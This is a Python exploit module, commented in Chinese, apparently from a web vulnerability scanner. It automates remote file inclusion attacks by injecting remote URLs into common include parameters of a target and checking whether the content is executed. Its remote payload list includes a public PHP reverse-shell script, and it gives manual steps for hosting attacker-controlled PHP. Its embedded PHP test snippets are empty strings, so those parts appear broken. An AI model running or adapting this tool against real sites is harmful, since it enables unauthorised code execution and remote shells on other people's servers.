#!/usr/bin/env python # -*- coding: utf-8 -*- """ RFI(远程文件包含)漏洞利用模块 """ import logging import re import urllib.parse import random import string import base64 import requests logger = logging.getLogger('xss_scanner') class RFIExploit: """RFI漏洞利用类""" def __init__(self, http_client): """ 初始化RFI漏洞利用模块 Args: http_client: HTTP客户端对象 """ self.http_client = http_client # 远程测试文件URL列表 self.remote_test_files = [ "http://www.google.com/humans.txt", "https://www.bing.com/robots.txt", "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/phpinfo.php", "https://raw.githubusercontent.com/tennc/webshell/master/php/php-reverse-shell.php" ] # RFI测试代码片段 self.test_code_snippets = [ "", "", "", "" ] # 远程测试代码的可能托管服务 self.remote_code_hosts = [ "https://pastebin.com/raw/", "https://gist.githubusercontent.com/raw/", "https://raw.githubusercontent.com/" ] # 常见参数名 self.common_parameters = [ "file", "page", "url", "uri", "path", "filepath", "load", "include", "require", "doc", "document", "folder", "root", "cont", "content", "layout", "mod", "module", "template" ] def exploit(self, vulnerability): """ 利用RFI漏洞 Args: vulnerability: 漏洞信息 Returns: dict: 利用结果 """ logger.info(f"尝试利用RFI漏洞: {vulnerability['url']}") url = vulnerability.get('url') parameter = vulnerability.get('parameter') payload = vulnerability.get('payload', '') if not url or not parameter: return { 'success': False, 'message': '缺少必要的漏洞信息(URL或参数名)', 'data': None } # 尝试远程文件测试 for remote_url in self.remote_test_files: result = self._try_remote_file(url, parameter, remote_url) if result and result['success']: return result # 生成随机标记用于验证 verification_mark = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) logger.info(f"生成验证标记: {verification_mark}") # 如果远程文件测试不成功,尝试创建一个自定义的远程测试文件 # 实际应用中,需要一个可控的Web服务器来托管这些文件 # 这里只是演示性代码 test_code = f"" # 返回结果 # 注意:实际利用需要真实的远程服务器来托管恶意代码 return { 'success': False, 'message': '在实际环境中,需要一个可控的远程Web服务器托管PHP代码来完成RFI漏洞利用', 'data': { 'verification_code': test_code, 'parameter': parameter, 'url': url }, 'poc': f"要验证RFI漏洞,请在你控制的Web服务器托管包含 '{test_code}' 的PHP文件,然后设置URL参数 {parameter}={{'你的PHP文件URL'}}", 'manual_steps': [ "1. 在你控制的Web服务器上创建一个PHP文件,内容为: " + test_code, "2. 确保该PHP文件可通过HTTP/HTTPS访问", f"3. 构造URL: {url}?{parameter}=http://your-server.com/your-file.php", f"4. 如果响应中包含 'RFI_VERIFICATION_{verification_mark}',则确认存在RFI漏洞" ] } def _try_remote_file(self, url, parameter, remote_url): """ 尝试包含远程文件 Args: url: 目标URL parameter: 参数名 remote_url: 远程文件URL Returns: dict: 利用结果 """ try: logger.info(f"尝试包含远程文件: {remote_url}") # 构建RFI测试URL parsed_url = urllib.parse.urlparse(url) query_params = dict(urllib.parse.parse_qsl(parsed_url.query)) query_params[parameter] = remote_url # 重建查询字符串 new_query = urllib.parse.urlencode(query_params) new_url = urllib.parse.urlunparse(( parsed_url.scheme, parsed_url.netloc, parsed_url.path, parsed_url.params, new_query, parsed_url.fragment )) # 先获取远程文件内容,以便后续比较 try: remote_response = requests.get(remote_url, timeout=5) if not remote_response.ok: logger.warning(f"无法获取远程文件内容: {remote_url}") return None remote_content = remote_response.text logger.info(f"成功获取远程文件内容,长度: {len(remote_content)} 字节") # 获取远程文件的特征以便检测 # 提取特征,最多50个字符 feature_length = min(50, len(remote_content)) if feature_length > 0: remote_feature = remote_content[:feature_length] else: logger.warning("远程文件内容为空") return None except Exception as e: logger.error(f"获取远程文件内容时出错: {str(e)}") return None # 发送包含请求 response = self.http_client.get(new_url) # 检查响应是否包含远程文件内容 if response and response.status_code == 200: # 检查响应中是否包含远程文件的特征 if remote_feature and remote_feature in response.text: logger.info(f"成功包含远程文件,发现特征: {remote_feature[:20]}...") return { 'success': True, 'message': f'成功利用RFI漏洞包含远程文件: {remote_url}', 'data': { 'remote_url': remote_url, 'parameter': parameter, 'feature_found': remote_feature[:20] + ('...' if len(remote_feature) > 20 else '') }, 'poc': new_url } elif "phpinfo" in remote_url.lower() and "PHP Version" in response.text and "PHP License" in response.text: # 特殊检测: phpinfo() logger.info("成功包含远程PHP文件,执行了phpinfo()") return { 'success': True, 'message': '成功利用RFI漏洞包含远程PHP文件并执行了phpinfo()', 'data': { 'remote_url': remote_url, 'parameter': parameter, 'php_version': self._extract_php_version(response.text) }, 'poc': new_url } elif "shell" in remote_url.lower() and "system" in response.text and "exec" in response.text: # 特殊检测: 可能的webshell logger.info("成功包含远程PHP文件,可能是webshell") return { 'success': True, 'message': '成功利用RFI漏洞包含远程PHP文件(可能是webshell)', 'data': { 'remote_url': remote_url, 'parameter': parameter, 'warning': '检测到可能包含危险函数的代码' }, 'poc': new_url } except Exception as e: logger.error(f"尝试包含远程文件时出错: {str(e)}") return None def _extract_php_version(self, phpinfo_output): """ 从phpinfo()输出中提取PHP版本 Args: phpinfo_output: phpinfo()函数的输出 Returns: str: PHP版本 """ # 尝试提取PHP版本 version_match = re.search(r"PHP Version[\s]*[=>]*[\s]*([0-9.]+)", phpinfo_output) if version_match: return version_match.group(1) return "未知" def _create_remote_test_file(self, test_code): """ 创建远程测试文件 Args: test_code: 测试代码 Returns: str: 远程文件URL """ # 在实际应用中,这个函数应该将测试代码上传到可控的Web服务器 # 并返回可访问的URL # 这里仅作为演示,返回一个假的URL logger.warning("创建远程测试文件功能需要实际的Web服务器支持") return "http://example.com/test_rfi.php"